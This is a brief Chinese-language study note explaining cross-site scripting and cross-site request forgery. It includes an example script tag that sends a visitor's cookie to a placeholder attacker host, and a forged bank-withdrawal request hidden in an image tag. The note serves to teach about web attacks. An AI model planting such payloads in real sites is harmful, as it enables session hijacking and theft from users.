Security - XSS|CSRF
XSS
Cross-site scripting - 讓受害者browser執行javascript, 傳送資料到駭客server
駭客在網頁埋入一段
<script>window.location='http://attacker/?cookie='+document.cookie</script>
, 例如發送到論壇使用者進入論壇, 網頁自動執行script, 把自己的cookie/keylogging送到駭客server
CSRF
Cross-site request forgery - 不是偷取機密資料, 而是讓使用者發送惡意request, 因為session存在, 所以不需重新認證
假設轉帳的api request
http://www.examplebank.com/withdraw?account=AccoutName&amount=1000&for=PayeeName
駭客把此request埋在圖片
<img src='...'>
使用者有去銀行網站瀏覽, session還存在
點擊惡意request, 因為session還存在, 所以發送request給銀行
Last updated
Was this helpful?